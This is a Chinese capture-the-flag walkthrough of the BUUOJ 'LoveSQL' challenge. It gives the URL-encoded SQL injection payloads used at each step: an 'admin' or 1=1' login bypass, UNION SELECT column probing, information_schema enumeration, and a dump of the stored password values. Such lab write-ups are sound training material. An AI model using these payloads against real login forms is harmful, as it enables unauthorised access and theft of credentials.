[极客大挑战 2019]LoveSQL
题目链接:https://buuoj.cn/challenges#[极客大挑战 2019]LoveSQL
打开环境后,如下所示。
尝试 SQL 注入(万能密码)。
Payload:admin'+or+1%3d1%3b%23
。
(笔者通过简单粗暴的尝试:①没有使用单引号;②使用单引号;③使用双引号,来确定后端拼接的 SQL 语句中的 password 参数系使用单引号的)。
接下来,直接尝试联合注入。
Payload:admin'+union+select+1%3b%23
。
后端发现提示列的数量不对,因此逐个添加列数进行尝试,最终发现是列数是 3,并且第 3 列的数据会在前端显示(第 2 列也会)。
Payload:admin'+union+select+1,2,3%3b%23
。
随后,联合注入一把梭(当然,也可以直接使用 SQLMap)。
- 查询当前存在什么数据库。
Payload:123456'+union+select+1,2,group_concat(schema_name)+from+information_schema.schemata%3b%23
。
- 查询 "geek" 数据库中存在什么表。
Payload:123456'+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema%3d'geek'%3b%23
。
- 查看 "l0ve1ysq1" 表中存在什么字段。
Payload:123456'+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name%3d'l0ve1ysq1'%3b%23
。
- 查看 "l0ve1ysq1" 表中的 "password" 字段的所有的值。
Payload:123456'+union+select+1,2,group_concat(0x7e,password,0x7e)+from+geek.l0ve1ysq1%3b%23
。
发现 flag。